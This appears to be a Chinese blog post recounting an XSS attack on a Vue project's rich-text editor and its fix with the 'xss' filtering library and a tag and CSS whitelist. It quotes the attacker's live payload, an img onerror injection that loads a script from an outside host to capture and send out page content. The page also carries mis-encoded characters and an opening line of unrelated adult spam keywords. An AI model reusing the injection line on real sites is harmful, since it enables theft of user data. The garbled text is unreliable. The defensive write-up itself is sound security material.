欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

一次VUE項目中遇到XSS攻擊的實戰(zhàn)記錄

 更新時間:2021年12月01日 11:14:59   作者:MiRenyang  
XSS?攻擊是頁面被注入了惡意的代碼,下面這篇文章主要給大家介紹了一次VUE項目中遇到XSS攻擊的相關(guān)資料,文中通過實例代碼介紹的非常詳細(xì),需要的朋友可以參考下

前言

隨著互聯(lián)網(wǎng)的高速發(fā)展,信息安全問題已經(jīng)成為企業(yè)最為關(guān)注的焦點(diǎn)之一,而前端又是引發(fā)企業(yè)安全問題的高危據(jù)點(diǎn)。在移動互聯(lián)網(wǎng)時代,前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問題之外,又時常遭遇網(wǎng)絡(luò)劫持、非法調(diào)用 Hybrid API 等新型安全問題。當(dāng)然,瀏覽器自身也在不斷在進(jìn)化和發(fā)展,不斷引入 CSP、Same-Site Cookies 等新技術(shù)來增強(qiáng)安全性,但是仍存在很多潛在的威脅,這需要前端技術(shù)人員不斷進(jìn)行“查漏補(bǔ)缺”。

發(fā)現(xiàn)原因

一切的原因都?xì)w咎于富文本編輯器....

應(yīng)需求將文本域修改成富文本編輯器支持用戶直接粘貼圖片遭到用戶使用網(wǎng)絡(luò)圖片上傳方式攻擊

攻擊代碼1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

在數(shù)據(jù)回顯時,圖片報錯并執(zhí)行onerror事件,導(dǎo)致當(dāng)前頁面被截圖發(fā)送至指定郵箱

最開始解決辦法是直接關(guān)閉富文本編輯器上傳網(wǎng)絡(luò)圖片的方式,但是后續(xù)再次遭到此類攻擊,攻擊者使用“fiddler”修改參數(shù)達(dá)到同樣效果

最終采用第三方防御XSS攻擊插件并通過配置白名單解決,在提交以及拿到后端返回數(shù)據(jù)時進(jìn)行過濾

插件中文文檔地址:github.com/leizongmin/

npm install xss

import filterXSS from "xss"

自定義過濾規(guī)則

在調(diào)用 xss() 函數(shù)進(jìn)行過濾時,可通過第二個參數(shù)來設(shè)置自定義規(guī)則:

options = {}; // 自定義規(guī)則
html = filterXSS('<script>alert("xss");</script>', options);

通過 whiteList 來指定,格式為:{'標(biāo)簽名': ['屬性1', '屬性2']}。不在白名單上的標(biāo)簽將被過濾,不在白名單上的屬性也會被過濾。

let options = {
    stripIgnoreTagBody: true, // 不在白名單中的標(biāo)簽以及標(biāo)簽里面的內(nèi)容直接刪除
    whiteList: {
        h1: ["style"],
        h2: ["style"],
        h3: ["style"],
        h4: ["style"],
        h5: ["style"],
        h6: ["style"],
        hr: ["style"],
        span: ["style"],
        strong: ["style"],
        b: ["style"],
        i: ["style"],
        br: [],
        p: ["style"],
        pre: ["style"],
        code: ["style"],
        a: ["style", "target", "href", "title", "rel"],
        img: ["style", "src", "title"],
        div: ["style"],
        table: ["style", "width", "border"],
        tr: ["style"],
        td: ["style", "width", "colspan"],
        th: ["style", "width", "colspan"],
        tbody: ["style"],
        ul: ["style"],
        li: ["style"],
        ol: ["style"],
        dl: ["style"],
        dt: ["style"],
        em: ["style"],
        cite: ["style"],
        section: ["style"],
        header: ["style"],
        footer: ["style"],
        blockquote: ["style"],
        audio: ["autoplay", "controls", "loop", "preload", "src"],
        video: [
          "autoplay",
          "controls",
          "loop",
          "preload",
          "src",
          "height",
          "width",
        ],
     },
     css: {
     // 因為上面白名單中允許了標(biāo)簽的style屬性,所以需要防止攻擊者使用此途徑進(jìn)行攻擊
        whiteList: {
          color: true,
          "background-color": true,
          width: true,
          height: true,
          "max-width": true,
          "max-height": true,
          "min-width": true,
          "min-height": true,
          "font-size": true,
        },
    },
}

content = filterXSS(content,options)

總結(jié)

到此這篇關(guān)于VUE項目中遇到XSS攻擊的文章就介紹到這了,更多相關(guān)VUE項目XSS攻擊內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Vue之ElementUI Form表單校驗

    Vue之ElementUI Form表單校驗

    這篇文章主要為大家詳細(xì)介紹了Vue之ElementUI Form表單校驗,文中示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2021-08-08
  • vue中table表頭單元格合并(附單行、多級表頭代碼)

    vue中table表頭單元格合并(附單行、多級表頭代碼)

    本文主要介紹了vue中table表頭單元格合并(附單行、多級表頭代碼),文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-04-04
  • 前端框架學(xué)習(xí)總結(jié)之Angular、React與Vue的比較詳解

    前端框架學(xué)習(xí)總結(jié)之Angular、React與Vue的比較詳解

    這篇文章主要跟大家分享了關(guān)于前端框架中Angular.js、React.js與Vue.js的全方位比較,文章介紹的非常詳細(xì),對大家進(jìn)行區(qū)分對比這三者之間的差異區(qū)別很有幫助,需要的朋友可以參考借鑒,下面來一起看看吧。
    2017-03-03
  • Vue computed計算屬性總結(jié)記錄

    Vue computed計算屬性總結(jié)記錄

    在vue中,有時候你需要對data中的數(shù)據(jù)進(jìn)行處理,或者對抓取的數(shù)據(jù)進(jìn)行處理之后再掛載呈現(xiàn)到標(biāo)簽中,這時候你就需要計算屬性了,當(dāng)然看到這里你可能還是不了解那下面我舉幾個實例并附代碼解釋
    2023-02-02
  • 解決Can''t find variable: SockJS vue項目的問題

    解決Can''t find variable: SockJS vue項目的問題

    這篇文章主要介紹了解決Can't find variable: SockJS vue項目的問題,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-09-09
  • vue cli2.0單頁面title修改方法

    vue cli2.0單頁面title修改方法

    這篇文章主要介紹了vue cli2.0單頁面title修改方法,非常不錯,具有一定的參考借鑒,需要的朋友可以參考下
    2018-06-06
  • vue回到頂部監(jiān)聽滾動事件詳解

    vue回到頂部監(jiān)聽滾動事件詳解

    這篇文章主要為大家詳細(xì)介紹了vue回到頂部監(jiān)聽滾動事件,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2019-08-08
  • Vue Element前端應(yīng)用開發(fā)之整合ABP框架的前端登錄

    Vue Element前端應(yīng)用開發(fā)之整合ABP框架的前端登錄

    VUE+Element 前端是一個純粹的前端處理,前面介紹了很多都是Vue+Element開發(fā)的基礎(chǔ),從本章隨筆開始,就需要進(jìn)入深水區(qū)了,需要結(jié)合ABP框架使用
    2021-05-05
  • vue長按事件和點(diǎn)擊事件沖突的解決

    vue長按事件和點(diǎn)擊事件沖突的解決

    這篇文章主要介紹了vue長按事件和點(diǎn)擊事件沖突的解決方案,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教
    2022-10-10
  • vue如何在線預(yù)覽各類型文件

    vue如何在線預(yù)覽各類型文件

    這篇文章主要介紹了vue如何在線預(yù)覽各類型文件問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2023-11-11

最新評論